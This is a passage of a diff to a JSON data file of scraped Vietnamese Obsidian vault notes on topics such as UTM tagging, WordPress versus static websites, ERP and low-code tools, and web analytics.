practices](https://funnel.io/resources/utm-and-utm-convention-best-practices)\n[Advanced UTM Naming Convention Guide (Benefits, Uses & Workflow)](https://web.utm.io/blog/utm-naming-conventions-guide/)\n\n[[Chiến dịch là sản phẩm]]", "Định dạng nội dung": "md" }, "Phương thức tạo": "Cào vault", - "Ngày tạo": "2023-09-05T09:17:00.000Z", - "Ngày cập nhật": "2024-07-16T16:27:00.000Z", - "id": "Th" + "Ngày tạo": "2023-05-26T07:51:00.000Z", + "Ngày cập nhật": "2024-09-01T10:45:00.000Z", + "id": "Tv" }, { - "Tiêu đề": "Gom tất cả thông tin lại vào một chỗ", - "URL": "https://obsidian.quảcầu.cc/📜Tài nguyên/Nhu cầu công việc/Vận hành/Gom tất cả thông tin lại vào một chỗ", + "Tiêu đề": "Social về bản chất là referral, nhưng được tách ra để phân tích sâu hơn", + "URL": "https://obsidian.quảcầu.cc/📜Tài nguyên/Lĩnh vực/Tiếp thị số/Phân tích web/Social về bản chất là referral, nhưng được tách ra để phân tích sâu hơn", "Kho thông tin": "Obsidian, quản lý dự án và công cụ nghĩ", "Dự án": { "Mã dự án": "C1" }, "Nội dung bài đăng": { - "Toàn bộ nội dung": "Nhu cầu công nghệ:: [[Hệ thống quản lý kiến thức]], [[Tự động hoá các công việc lặp đi lặp lại]], [[Nhập sự kiện vào Google Calendar|Cào dữ liệu web vào Google Calendar]]\nGiải pháp kỹ thuật:: [[API]]\n\nCác sự kiện trên fb event nó ko thuần tuý là 1 events như dạng ticketbox mà nó giống quảng bá hơn\n\nCần ticketbox hơn vì nó là dạng bán vé ở cấp độ chuyên nghiệp hơn, nội dung và giá trị đc chỉnh chu hơn. VD, em ko fai fan hài kịch, nhưng e biết đc có các loại hình hài kịch: standup comedy, hài bài banrm, sân khấu kịch, các vở kịch về các câu chuyện sắp tới, khiến e có thể cân nhắc tham gia để hiểu biết hơn. Hoặc nếu e thấy toàn workshop về bánh và mùa thu → e có thể cân nhắc viết content hay các bài viết về topic này. vậy rộng hơn đây, e thấy có water show: ah e có thể cân nhắc dẫn con em đi xem, hoặc workshop yêu hoà bình, e sẽ xem có gì relevant ko mà lại làm topic này tại thời điểm này, nghĩa là nội title của có thể hint cho em nhiều thứ\n![](https://media.discordapp.net/attachments/953628307314855999/1177509524081475604/image.png?ex=66a5f1b3&is=66a4a033&hm=7bcc4f400410fbede43893c92663f0e8f2c6058f3c98dd2d978729c5f7b7650d&=&format=webp&quality=lossless&width=572&height=437) ", + "Toàn bộ nội dung": "Nguồn:: [[Tự ngẫm nghĩ, trải nghiệm]]\n", "Định dạng nội dung": "md" }, "Phương thức tạo": "Cào vault", - "Ngày tạo": "2023-05-26T07:51:00.000Z", - "Ngày cập nhật": "2024-07-27T10:23:00.000Z", - "id": "Ti" + "Ngày tạo": "2023-06-30T06:12:00.000Z", + "Ngày cập nhật": "2024-09-01T10:45:00.000Z", + "id": "Tw" }, { - "Tiêu đề": "Tạo danh sách hạch toán hàng loạt vào các phần mềm kế toán", - "URL": "https://obsidian.quảcầu.cc/📜Tài nguyên/Nhu cầu công việc/Vận hành/Tạo danh sách hạch toán hàng loạt vào các phần mềm kế toán", + "Tiêu đề": "Web analytics đã thay đổi trong nhiều năm qua", + "URL": "https://obsidian.quảcầu.cc/📜Tài nguyên/Lĩnh vực/Tiếp thị số/Phân tích web/Web analytics đã thay đổi trong nhiều năm qua", "Kho thông tin": "Obsidian, quản lý dự án và công cụ nghĩ", "Dự án": { "Mã dự án": "C1" }, "Nội dung bài đăng": { - "Toàn bộ nội dung": "Nhu cầu công nghệ:: [[Phân loại dữ liệu tự động]]\n\n > Ngành kế toán của chị trước giờ làm thủ công. Doanh nghiệp hiện tại của chị dùng Misa đưa cho kế toán cũng mất khá nhiều thời gian. Các giao dịch thường lặp đi lặp lại hàng tháng, cần tới 3, 4 bạn kế toán để ghi chép lại. Bộ máy cồng kềnh mà mức độ chính xác không cao.\n> — [[Trần Thuý Hoà]]\n\n\nPhóng toàn màn hình: [Làm sao để đưa VNPAY vào luồng hoạt động của cửa hàng?](https://slide.quảcầu.cc/Đáp%20ứng%20nhu%20cầu%20doanh%20nghiệp/VNPAY.html?utm_source=Vault+C+Obsidian%2C+quản+lý+dự+án+và+công+cụ+nghĩ+(Tài+nguyên)&utm_medium=Vault&utm_campaign=&utm_content=📜Tài+nguyên%2FNhu+cầu+công+việc%2FDoanh+nghiệp+hoặc+tổ+chức%2FTạo+danh+sách+hạch+toán+vào+các+phần+mềm+kế+toán.md&utm_term=)\n<iframe width=100% height=400 src=\"https://slide.quảcầu.cc/Đáp%20ứng%20nhu%20cầu%20doanh%20nghiệp/VNPAY.html?utm_source=Vault+C+Obsidian%2C+quản+lý+dự+án+và+công+cụ+nghĩ+(Tài+nguyên)&utm_medium=Vault&utm_campaign=&utm_content=📜Tài+nguyên%2FNhu+cầu+công+việc%2FDoanh+nghiệp+hoặc+tổ+chức%2FTạo+danh+sách+hạch+toán+vào+các+phần+mềm+kế+toán.md&utm_term=\" /> \n\nXem thêm:: [So sánh chi tiết các phần mềm kế toán trên thị trường](https://kiếmtiền.quảcầu.cc/Tài-nguyên-hỗ-trợ/Quang-cảnh-thị-trường/Chương-trình-quản-lý-tiền/4-Loại-chương-trình/Chương-trình-kế-toán?utm_source=Vault+C+Obsidian%2C+quản+lý+dự+án+và+công+cụ+nghĩ+(Tài+nguyên)&utm_medium=Vault&utm_campaign=&utm_content=📜Tài+nguyên%2FNhu+cầu+công+việc%2FDoanh+nghiệp+hoặc+tổ+chức%2FTạo+danh+sách+hạch+toán+vào+các+phần+mềm+kế+toán.md&utm_term=).", + "Toàn bộ nội dung": "- Người dùng ngày càng đòi hỏi cao hơn về sự riêng tư\n- Nhiều bộ luật và chính sách toàn cầu mới về dữ liệu\n- Các trình duyệt giảm hỗ trợ cookie\n- Người dùng sử dụng nhiều thiết bị hơn, có thể bắt đầu ở thiết bị này nhưng kết thúc ở thiết bị khác (trước đây chỉ có mỗi web) \n\nNguồn:: [Exceed: cannot access content](https://skillshop.exceedlms.com/uploads/resource_courses/targets/1468635/original/index.html?_courseId=291144#/page/6491e7af8f5788176787aef2)\n", "Định dạng nội dung": "md" }, "Phương thức tạo": "Cào vault", - "Ngày tạo": "2023-05-26T07:51:00.000Z", - "Ngày cập nhật": "2024-08-07T08:41:00.000Z", - "id": "Tj" + "Ngày tạo": "2023-07-02T14:06:00.000Z", + "Ngày cập nhật": "2024-09-01T10:45:00.000Z", + "id": "Tx" }, { - "Tiêu đề": "Tạo website", - "URL": "https://obsidian.quảcầu.cc/📜Tài nguyên/Nhu cầu công việc/Vận hành/Tạo website", + "Tiêu đề": "Tiếp thị số", + "URL": "https://obsidian.quảcầu.cc/📜Tài nguyên/Lĩnh vực/Tiếp thị số", "Kho thông tin": "Obsidian, quản lý dự án và công cụ nghĩ", "Dự án": { "Mã dự án": "C1" }, "Nội dung bài đăng": { - "Mô tả bài đăng": "WordPress giúp việc tạo web dễ dàng nhất, chứ không phải là thứ tạo web hiệu quả nhất", - "Toàn bộ nội dung": "Nhu cầu công nghệ:: [[Tiếp thị số]], [[Lập trình web]]\n\n# Người dùng cá nhân hoặc dự án nhỏ có nên dùng WordPress hay không?\nNếu bạn chỉ cần một nơi lưu lại những gì mình ghi viết bài chia sẻ cho mọi người đọc, các mạng xã hội như Facebook là đủ. Nếu như Facebook đại trà quá và bạn muốn tạo một thương hiệu rõ hơn, Substack, Medium, Spiderum, LinkedIn Page sẽ là những trang sẽ cho khách ghé thăm ấn tượng sơ về phong cách và nội dung của bạn. Nếu bạn muốn tạo một góc thầm lặng, không quá xô bồ, hoặc ngược lại muốn xây dựng một không gian làm cho khách ghé thăm phải cảm thấy ấn tượng, trầm trồ với giao diện độc đáo, thì Weebly, Wix, Squarespace, Shopify, Blogger, WordPress.com sẽ giúp bạn đạt được điều đó. Chỉ khi nào bạn muốn có sự kiểm soát tối đa toàn bộ trang web của bạn với chi phí thấp, thì lúc đó bạn mới cần có một website riêng.\n\nNhiều người khi có nhu cầu tạo web thường được bạn bè giới thiệu WordPress. WordPress được xếp vào nhóm web động. Ngoài web động ra thì còn có web tĩnh. Web động với web tĩnh bản chất thế nào thì mình nghĩ đợi đến khi bạn đã quen thuộc với web rồi thì giải thích sẽ dễ hiểu hơn, còn giờ nói sớm quá thì bạn lại rối. Quan trọng là chúng sẽ đáp ứng nhu cầu của bạn thế nào thôi. Mình nghĩ rằng đây là những tiêu chí mà một người dùng cá nhân hoặc cho tổ chức nhỏ sẽ cần để ý đến:\n\n| Tiêu chí | WordPress | Web tĩnh |\n| ------------------------------------------- | -------------------------------------------------------------------------------------------------- | ------------------------------------------------------------------------------------ |\n| Dễ bắt đầu cho người mới | <span style=\"color:green\">Có người làm sẵn hết</span> | Phải tự thiết lập |\n| Tuỳ chỉnh theo đúng nhu cầu | <span style=\"color:green\">Có hướng dẫn ngay tại nơi thiết lập, chỉ cần bấm nút hoặc kéo thả</span> | Thiết lập bằng tập tin văn bản, cần tham khảo hướng dẫn sử dụng |\n| Kho theme và plugin | <span style=\"color:green\">Đồ sộ và dễ dàng cài đặt</span> | Tuỳ vào chương trình được dùng, nhưng chắn chắn không nhiều và dễ cài bằng WordPress |\n| Nếu bài viết đổi URL | <span style=\"color:green\">Người dùng truy cập vào URL cũ sẽ tự động chuyển sang URL mới</span> | Phải tự thiết lập chuyển URL, nếu không sẽ bị lỗi 404 |\n| Giá | Phải mua host | <span style=\"color:green\">Miễn phí</span> |\n| Thiết bị dùng để thao tác | Chủ yếu là chuột | <span style=\"color:green\">Chủ yếu là bàn phím</span> |\n| Cập nhật bài mới, chỉnh sửa bài cũ | Mỗi lần điều chỉnh là phải mở web, chờ web tải rồi mới sao chép từ máy tính lên web được | <span style=\"color:green\">Chỉ cần gõ một lệnh là lên web</span> |\n| Cơ hội nắm được tư duy và công cụ lập trình | Không nhiều | <span style=\"color:green\">Rất tốt</span> |\n| Tốc độ tải | Trang hơi phức tạp là dễ bị chậm | <span style=\"color:green\">Luôn nhanh</span> |\n\nHãy nói thêm về tiêu chí độ phức tạp khi cài đặt web mới. Nếu bạn tự làm một mình từ đầu đến cuối thì có thể web tĩnh dễ cài đặt hơn, vì với việc dùng GitHub Page bạn sẽ không phải lo vấn đề về host. Với một trang web động bạn sẽ phải mua host. Điểm thú vị là, các dịch vụ hosting thường sẽ cài các phần mềm cần thiết cho bạn luôn, để bạn mua xong là có web xài ngay được. Nên thành ra với người chưa biết gì thì việc tạo một trang WordPress mới lại dễ hơn so với web tĩnh, dù thực chất nó khó hơn.\n\nNếu điều bạn cần là có người làm thay bạn việc cài đặt để bạn còn làm những việc khác quan trọng hơn, thì tại sao bạn lại phải bỏ tiền mua host để có người làm thay việc cài đặt, mà không đơn giản là thuê người cài đặt hộ bạn luôn? Chi phí để thuê một người cài đặt web động + host và chi phí thuê một người cài đặt web tĩnh, cái nào rẻ hơn?\n\nChưa kể, việc cài đặt chỉ là bước đầu tiên của việc làm web. Các dịch vụ hosting chỉ làm bước này thôi chứ không làm xa hơn. Việc tuỳ chỉnh để đáp ứng nhu cầu chỉ có bạn tự làm chứ các dịch vụ hosting không làm thay bạn. Muốn làm thay thì bạn phải trả thêm tiền, và nhiều khi cũng không thay bạn được. Nên trừ phi bạn có tiền để thuê hẳn một người quản lý web để bạn khỏi bị phân tán sự chú ý cho những điều quan trọng hơn, chứ nếu bạn phải tự học tự làm thì tốt nhất là chi tiền học một buổi về cách dùng web tĩnh là có thể dùng suốt đời. Chứ chi tiền cho host thì mỗi năm lại phải trả một lần.\n\nVấn đề là, dù các dịch vụ đó chỉ làm giúp bạn bước đầu tiên đó, nhưng **đó lại là bước quan trọng nhất**. Nếu nói như kiểu Lão Tử là \"con đường vạn dặm bắt đầu từ một bước chân\". Bước đầu tiên sẽ quyết định con đường bạn đi. Nó nhiều khi còn quyết định việc bạn có đi nữa hay không. Và bước đầu tiên của người mua host để dùng WordPress thì dễ hơn bước đầu tiên của người tự làm web tĩnh.\n\nNếu bạn để ý, ở trên mình có nói là nếu bạn muốn tạo một góc thầm lặng hoặc một không gian ấn tượng thì WordPress.com sẽ giúp bạn đạt được điều đó. Nhưng ngay sau đó mình lại bảo là nếu bạn có nhu cầu tạo web thì mọi người thường giới thiệu WordPress cho bạn. Hàm ý là WordPress.com không phải là WordPress, và nó không phải là web riêng của bạn. Điều này có nghĩa là sao? Và nó liên quan gì tới những gì nãy giờ mình nói?\n\n**WordPress là một phần mềm để bạn tạo trang web.** Để người khác truy cập được web của bạn thì bạn cần có host. **WordPress.com là một công ty cung cấp dịch vụ host** như bao công ty hosting tương tự. Trên host của một công ty tên là WordPress.com có cài đặt một phần mềm tạo web tên là WordPress. Nếu bạn thuê dịch vụ của công ty này, thì bạn sẽ được cài sẵn WordPress mà không cần phải làm gì cả. Giống như là bạn mở một quán bánh canh và đặt tên cho nó là BánhCanh.com vậy. Khách chỉ cần ngồi vào bàn là có ngay một tô bánh canh miễn phí. Đó là điểm khác biệt.\n\n<iframe width=\"560\" height=\"315\" src=\"https://videopress.com/embed/FmtB9Wcw\" frameborder=\"0\" allowfullscreen allow=\"clipboard-write\"></iframe>\n<script src=\"https://videopress.com/videopress-iframe.js\"></script>\n\nWeb động cũng như web tĩnh đều đòi hỏi bạn phải cài đặt, cấu hình phần mềm. Nhưng vì người dùng web động phải trả thêm cả tiền host khiến cho các công ty hosting có thêm nhiều tiền từ các phần mềm tạo web động hơn các phần mềm tạo web tĩnh. WordPress vào thời điểm ra mắt là phần mềm tạo web động duy nhất có giao diện thân thiện với người dùng. Những điều này đã thúc đẩy các công ty này tập trung vào WordPress, quảng cáo cho nó nhiều hơn. Các công ty này có lợi hơn nếu như người dùng nghĩ đến WordPress đầu tiên khi họ muốn tạo website. Từ đó WordPress bước vào vòng lặp dương, và trở thành một hệ thống quản lý nội dung tiện lợi hơn với người dùng cũng như có được một hệ sinh thái theme và plugin đồ sộ như bây giờ. Việc bạn được bạn bè giới thiệu dùng WordPress cũng là vì nó là thứ giúp bạn đi bước đi đầu tiên dễ dàng nhất, chứ không phải vì nó là thứ giúp bạn đi cả con đường hiệu quả nhất.\n\nCho nên mình nghĩ, câu chuyện giữa web tĩnh và WordPress là câu chuyện đánh đổi giữa dài hạn và ngắn hạn, giữa việc có và không có người đi cùng bạn bước đi đầu tiên. Mình nghĩ WordPress chỉ có lợi nếu bạn cần dùng web động (mà nếu bạn đã hiểu được web động là gì và tại sao mình lại cần web động thì trình độ của bạn đã đi xa hơn bài này rồi. Bạn không còn cần nghe lời khuyên của mình làm gì), hoặc cần một hệ thống quản lý nội dung **đáp ứng được cả 3 yêu cầu sau**:\n- [[Để có thể thiết kế một giải pháp một cách nhanh chóng và tự tin, ta cần được thử nghiệm ý tưởng mới và kiểm tra giả thiết ngay khi chúng vừa được nghĩ ra|Cho bạn phản hồi tức thời khi tuỳ chỉnh giao diện và chức năng]],\n- [[Mỗi một thắc mắc đều làm tăng thêm khối lượng nhận thức mà chúng ta có trong tâm trí, qua đó làm phân tán sự tập trung của ta khỏi thứ mà ta định làm|Việc học cách tuỳ chỉnh càng chiếm ít thời gian và tâm trí càng tốt]],\n- [[Không có giải pháp nào cho người sáng lập để giải quyết sự quá tải ngoài những lời khuyên chung chung|Bạn không có người đi trước đi cùng mình những bước đầu tiên]]\n\nCòn không thì với nhu cầu nhỏ thì dùng web tĩnh có lợi về lâu dài hơn. Bạn sẽ chẳng cần tới nhiều theme hoặc plugin đến thế. Cái chính là việc viết bài và đăng bài có tiện lợi hay không mà thôi.\n\nWordPress ra đời năm 2003. 21 năm đã trôi qua, và công nghệ web cũng đã có nhiều thứ mới. Thời điểm đó không có Git, Node, Stack Overflow, VS Code, Astro, Obsidian, ChatGPT. Những cái tên mình liệt kê ra ở đây có thể bạn không hiểu nó là gì, nhưng chúng đã làm cho việc sử dụng web tĩnh trở nên nhẹ nhàng hơn, hoặc có nhiều lợi ích hơn. Nhưng kể cả là ngay bây giờ, khi đã có những công cụ đó, thì mình vẫn phải thừa nhận là với người không biết gì thì đi bước đầu tiên bằng WordPress vẫn dễ hơn đi bước đầu tiên bằng web tĩnh. \n\nTương tự việc [[Lý do viết Trấn Kỳ#Các ERP được dựng sẵn không đủ khả năng đáp ứng những luồng làm việc và suy nghĩ đặc thù|các ERP được dựng sẵn không đủ khả năng đáp ứng những luồng làm việc và suy nghĩ đặc thù]], [[Việc lập trình ít trực giác hơn nhưng lại có nhiều đánh đổi hơn các ngành khác|có rất nhiều đánh đổi trong c", + "Toàn bộ nội dung": "Nhu cầu công nghệ::\nGiải pháp kỹ thuật:: [[Google Analytics, Google Tag Manager]], [[UTM]]", "Định dạng nội dung": "md" }, "Phương thức tạo": "Cào vault", - "Ngày tạo": "2024-02-27T08:45:00.000Z", - "Ngày cập nhật": "2024-08-28T06:29:00.000Z", - "id": "Tk" + "Ngày tạo": "2023-05-26T07:51:00.000Z", + "Ngày cập nhật": "2024-09-01T10:45:00.000Z", + "id": "Ty" }, { - "Tiêu đề": "Vận hành", - "URL": "https://obsidian.quảcầu.cc/📜Tài nguyên/Nhu cầu công việc/Vận hành/Vận hành", + "Tiêu đề": "Delightful humane design", + "URL": "https://obsidian.quảcầu.cc/📜Tài nguyên/Nhu cầu công nghệ/Delightful humane design", "Kho thông tin": "Obsidian, quản lý dự án và công cụ nghĩ", "Dự án": { "Mã dự án": "C1" }, "Nội dung bài đăng": { - "Toàn bộ nội dung": "```dataview\nLIST nhu-cầu-công-nghệ\nFROM \"📜Tài nguyên/Nhu cầu công việc/Vận hành\" \nWHERE file.name!=this.file.name\n```", + "Toàn bộ nội dung": "[teaserbot-labs/delightful-humane-design: A curated list of humane design resources for UX designers and developers. - delightful-humane-design - Codeberg.org](https://codeberg.org/teaserbot-labs/delightful-humane-design \"teaserbot-labs/delightful-humane-design: A curated list of humane design resources for UX designers and developers. - delightful-humane-design - Codeberg.org\")\n[[Việc khai thác điểm yếu của con người đem lại lợi nhuận]]\n[Nudge | Get your time back](https://nudgeware.io/)", "Định dạng nội dung": "md" }, "Phương thức tạo": "Cào vault", - "Ngày tạo": "2024-07-27T14:37:00.000Z", - "Ngày cập nhật": "2024-09-01T08:28:00.000Z", - "id": "Tl" + "Ngày tạo": "2023-09-05T09:17:00.000Z", + "Ngày cập nhật": "2024-07-16T16:27:00.000Z", + "id": "Tz" }, { - "Tiêu đề": "Xây dựng kho tri thức", - "URL": "https://obsidian.quảcầu.cc/📜Tài nguyên/Nhu cầu công việc/Xây dựng kho tri thức", + "Tiêu đề": "Cơ sở dữ liệu", + "URL": "https://obsidian.quảcầu.cc/📜Tài nguyên/Nhu cầu công nghệ/Hệ thống thông tin/Cơ sở dữ liệu", "Kho thông tin": "Obsidian, quản lý dự án và công cụ nghĩ", "Dự án": { "Mã dự án": "C1" }, "Nội dung bài đăng": { - "Toàn bộ nội dung": "Lĩnh vực:: [[Hệ thống thông tin]]\nNhu cầu công nghệ:: [[Hệ thống quản lý kiến thức]]\nNhu cầu công nghệ:: [[Viết plugin]]\n\n## Liệu các phần mềm hoạch định tài nguyên doanh nghiệp (ERP) có giải quyết được vấn đề đảo thông tin này không?\nCác phần mềm hoạch định tài nguyên doanh nghiệp ([enterprise resource planning](https://en.wikipedia.org/wiki/Enterprise_resource_planning \"Enterprise resource planning - Wikipedia\"), ERP) sẽ có những mô đun chuyên về quản lý tài chính. Tuy nhiên, với Kendy điều đó là không đủ. Đây là những yêu cầu cho một phần mềm quản trị mà Kendy cần. Thiếu một trong 3 đều không được:\n- [ ] Có khả năng tuỳ chỉnh theo đúng luồng làm việc, suy nghĩ của mình\n- [ ] Không phải dành quá nhiều thời gian để xây dựng hệ thống đó\n- [ ] Chi phí thấp\n\n### Các ERP được dựng sẵn không đủ khả năng đáp ứng những luồng làm việc và suy nghĩ đặc thù\n![[Dùng ERP dựng sẵn.png]]\n\nCó hai loại công việc: [[Công việc khai phá và công việc khai thác]]. Công việc khai phá (exploration) là những công việc mà nếu ta chưa làm xong thì cũng không chắc lắm kết quả trông như thế nào, còn công việc khai thác (exploitation) là những công việc chưa làm cũng biết chính xác kết quả trông như thế nào. Công việc khai phá sử dụng dạng tư duy phi tuyến, và hợp với kiểu dữ liệu phi cấu trúc. Còn công việc khai thác sử dụng dạng tư duy tuyến tính, và hợp với kiểu dữ liệu có cấu trúc.\n\nBởi vì [[Công việc khai phá chính là quản lý kiến thức]], cho nên [[Quản lý công việc và quản lý kiến thức không thể tách rời nhau]]. Đây là thứ mà các ERP dựng sẵn này không đáp ứng được. Những người viết ra chúng tất nhiên cũng đã có những nghiên cứu khách hàng và cũng thiết kế nhiều lựa chọn để người dùng có thể tuỳ chỉnh ở một mức độ nào đó. Nếu không đáp ứng được nhu cầu đa số thì không thể nào giảm được chi phí sản phẩm cả. Tuy nhiên, sự dự đoán của các tác giả ấy về quy trình nghiệp vụ của một số khách hàng doanh nghiệp điển hình mà họ có thể nghĩ ra được cũng không thể nào bắt kịp được luồng làm việc và suy nghĩ thực tế của các cá nhân cụ thể. Mỗi người có một cách phân loại thông tin, yêu cầu về sự ngăn nắp thông tin, khối lượng thông tin và loại thông tin phải thường xuyên xử lý cũng khác nhau. Mỗi một luồng tư duy khác nhau có thể sẽ đòi hỏi những cách quản lý thông tin rất khác nhau. Và với một số người, cái mô đun quản lý kiến thức của chúng không gì chỉ làm cho có. Thà không dùng nó chứ dùng thì càng bực hơn. Các ERP này không đáp ứng nổi vai trò trở thành một [[Giàn giáo nhận thức cần phải tuỳ biến với quá trình hiểu biết của người dùng|một giàn giáo nhận thức]] của họ. \n\nHơn nữa, ngay cả khi chỉ xét đến mô đun về quản lý giao dịch của các ERP dựng sẵn, thì cũng giống như các phần mềm quản lý tài chính cá nhân được nói ở trên, dữ liệu được lưu trong đây vẫn bị cô lập trong ERP đó. \n\nChưa kể, cái gọi là chi phí thấp ở đây chỉ là miễn phí trong một số ngày, một số tính năng hoặc đầu người. Nhưng thường thì có trả tiền để dùng thì những tính năng đó cũng không hướng đến việc trở thành một nơi để quản lý tất cả mọi thứ.\n\n### Tự xây dựng ERP tốn rất nhiều thời gian\n![[Tự xây dựng ERP.png]]\nCó các phần mềm ERP mã nguồn mở như Odoo, và bạn có thể tự mình bổ sung thêm các tính năng để đảm bảo là nó sẽ theo đúng luồng làm việc, suy nghĩ của bạn, nhưng điều đó đòi hỏi bạn phải có kiến thức cũng như thời gian để lập trình. Điều này sẽ rất khó với người chưa từng lập trình bao giờ mà còn rất nhiều thứ khác phải làm. Nếu không ai code giùm cho thì Kendy thà chịu đau khổ chứ không thể nào tự học được, bởi vì [[Chi phí chuyển đổi giữa lập trình và nghiên cứu là lớn]]. Chưa kể, theo định luật Hofstadter: [[Mọi thứ sẽ luôn tốn thời gian hơn bạn nghĩ|Mọi thứ sẽ luôn tốn thời gian hơn bạn nghĩ, kể cả khi bạn đã tính đến định luật Hofstadter]].\n\nCũng không phải là Kendy không muốn học để tự xây dựng hệ thống cho mình, mà là kiếm lòi mắt cũng không thấy được người thực sự muốn chia sẻ. Theo trải nghiệm của Kendy khi hỏi trên các diễn đàn của Odoo, thì người trả lời thực ra chỉ muốn báo giá chứ không thực sự muốn chỉ. Vì dù là mã nguồn mở thì họ cũng xác định tập khách hàng của mình là doanh nghiệp.\n\n### Chi phí thuê lập trình viên để tự xây dựng ERP là quá cao\n![[Thuê lập trình viên.png]]\nNếu thuê lập trình viên thì thực sự không có tiền để thuê, và nếu có tiền thì cũng rất lệ thuộc vào họ. Việc xây dựng hệ thống là việc sửa mỗi lần một chút. Kendy không có đủ tiền cho quá nhiều lần điều chỉnh lắt nhắt như vậy.\n\n## Hiện nay đã có nhiều phần mềm ERP low code. Liệu có giải quyết được vấn đề này?\nKhái niệm low code được sinh ra dành cho những phần mềm không phải code nhiều nhưng người dùng vẫn có thể tạo ra được sản phẩm của mình. Airtable, Google Sheet, Excel là những ví dụ của low code.\n\nFibery cũng là một sản phẩm low code. Nó *hứa hẹn* giải quyết được 2 vấn đề sau:\n- Một nơi vừa để quản lý công việc vừa quản lý kiến thức\n- Có thể xây dựng hệ thống quản lý cho mình ngay mà không cần dùng tới code trong thời gian đầu\n\nĐây là lý do Kendy đã chọn Fibery, vì những cái rất cần trước mắt thì nó có thể đáp ứng. \n\nĐối với những người làm lập trình, cái gọi là low code chỉ là bình mới rượu cũ mà thôi. Nó từng có những cái tên như WYSIWYG, UI, rồi giờ thì nó được gọi là low code. Nó không được lòng người làm kỹ thuật cho lắm.\n\n[Một người bình luận](https://discord.com/channels/686053708261228577/700466324840775831/1072284305893638214):\n> Chúng được sinh ra chỉ để cho mục đích tiếp thị và khiến những người quản lý không có hiểu biết về kỹ thuật ra những quyết định tồi. \n\n[Một người khác](https://softwareengineering.stackexchange.com/questions/320227/what-is-low-code/320228#comment679977_320228):\n> Theo kinh nghiệm của tôi, những công cụ này được mấy người dùng doanh nghiệp dùng cho đến khi họ tự dồn mình vào chân tường. Rồi sau đó lập trình viên được gọi đến để gỡ một mớ rác lỗi hỗn độn khổng lồ đầy những phức tạp không cần thiết.\n\nThật ra, việc đánh đổi giữa sự đơn giản (simplicity) và khả năng xử lý những yêu cầu phức tạp (complexity) là một trong [[Việc lập trình ít trực giác hơn nhưng lại có nhiều đánh đổi hơn các ngành khác]]. Nhưng thứ [[Lập trình viên khó chịu với hệ thống low code vì nó được tiếp thị như là một giải pháp hoàn hảo có thể giải quyết được mọi nhu cầu thực tế|Lập trình viên khó chịu với hệ thống low code không phải vì nó ưu tiên sự tiện lợi và chi phí thấp cho người dùng, mà vì nó được tiếp thị như là một giải pháp hoàn hảo có thể giải quyết được mọi nhu cầu thực tế]]. Mà [[Chấp nhận giải pháp mì ăn liền là đang mang nợ vào người]].\n\nPhải nói là điểm bán hàng độc nhất (unique selling point) của Fibery là sự đặt trọng tâm vào ý tưởng [[Quản lý công việc và quản lý kiến thức không thể tách rời nhau]] mà những ERP khác không làm được. Ngay tại trang chủ, Fibery đã tự giới thiệu bản thân là:\n> If you've outgrown Jira, Notion, Airtable, and ClickUp — and are ready to replace them\n\nTức là nó hiểu rất rõ nhược điểm của đối thủ. Nhưng rốt cuộc thì **nó vẫn là một sản phẩm dựng sẵn** không khác gì các đối thủ của nó. Việc Kendy sử dụng nó là vì từ đầu Kendy đã ở trong tình trạng phải xây dựng hệ thống quản lý càng sớm càng tốt, và không có ai có thể hỗ trợ giải đáp các vấn đề về lập trình. Không thể nói nó là giải pháp tạm đủ, mà nó là sự thoả hiệp đỡ tệ hại nhất trong hoàn cảnh hiện tại. Con đường này là con đường bất đắc dĩ lắm mới phải đi. \n\nXem thêm:: [[Nhược điểm của Obsidian và Fibery]]\n", + "Toàn bộ nội dung": "[Academic Torrents](https://academictorrents.com/ \"Academic Torrents\")\n", "Định dạng nội dung": "md" }, "Phương thức tạo": "Cào vault", "Ngày tạo": "2023-05-26T07:51:00.000Z", - "Ngày cập nhật": "2024-09-01T10:10:00.000Z", - "id": "Tm" + "Ngày cập nhật": "2024-09-01T09:57:00.000Z", + "id": "T-" }, { - "Tiêu đề": "📜Tài nguyên", - "URL": "https://obsidian.quảcầu.cc/📜Tài nguyên/📜Tài nguyên", + "Tiêu đề": "Truy vấn dữ liệu", + "URL": "https://obsidian.quảcầu.cc/📜Tài nguyên/Nhu cầu công nghệ/Hệ thống thông tin/Truy vấn dữ liệu", "Kho thông tin": "Obsidian, quản lý dự án và công cụ nghĩ", "Dự án": { "Mã dự án": "C1" }, "Nội dung bài đăng": { - "Toàn bộ nội dung": "```mermaid\nflowchart LR\nnccv[Nhu cầu công việc] --> nccn[Nhu cầu công nghệ] --> lv[Lĩnh vực] \nnccv --> lv --> gpkt[Giải pháp kỹ thuật] \nnccn --> gpkt --> gpkt\n```\n\n## Tiêu chí lựa chọn\n- Là những nhu cầu *phát sinh* trong quá trình làm việc, như lập trình, sức khoẻ, pháp luật, v.v. Những cái mang tính lý thuyết và thiên về việc nghĩ thì sẽ ở [[⚡Hiểu biết sâu]]\n- Thường đủ phức tạp để các giải pháp làm sẵn hoặc AI không đáp ứng hiệu quả được \n- Thường xuất hiện ở các tổ chức, dự án nhỏ, vốn không có nhiều tiền để thuê ngoài\n- Thường tự làm thì sẽ làm chủ động và hiệu quả hơn là để người khác làm\n- Việc tự học để giải quyết nhu cầu thường tạo cảm giác bị phân tán sự tập trung khỏi công việc quan trọng hơn\n\n## Nhận xét\nViệc có hiểu biết về một lĩnh vực hoặc một giải pháp kỹ thuật sẽ giúp giải quyết các nhu cầu đòi hỏi kiến thức về lĩnh vực/giải pháp kỹ thuật đó. Nên nếu lĩnh vực/giải pháp kỹ thuật ta am hiểu càng có nhiều nhu cầu đổ về nó, thì ta sẽ càng linh hoạt hơn trong tương lai. \n\n## Lưu ý khác\nCác giải pháp kỹ thuật chỉ là những giải pháp thường được dùng, không nhất thiết là giải pháp duy nhất.\n\n[[Việc phân loại thư mục chỉ cần theo đúng thư mục đó, không nhất thiết phải tạo thành một cây thống nhất]]. Thư mục trong [[Nhu cầu công nghệ]] là gom các nhu cầu lại với nhau. Thư mục trong [[Lĩnh vực]] hoặc [[Giải pháp kỹ thuật]] là giải thích thông tin\n\nPhiên bản đồ thị: 0.2. Bài chi tiết sẽ có phiên bản mới nhất cùng với các hoạt động hỗ trợ đáp ứng các nhu cầu này: https://quảcầu.cc/nhucầulậptrình.\n\n[[Để có thể thiết kế một giải pháp một cách nhanh chóng và tự tin, ta cần được thử nghiệm ý tưởng mới và kiểm tra giả thiết ngay khi chúng vừa được nghĩ ra]] — Bret Victor, Up and Down the Ladder of Abstraction\n\n## Một số vấn đề\nHãy xem lại sơ đồ ở trên:\n```mermaid\nflowchart LR\nnccv[Nhu cầu công việc] --> 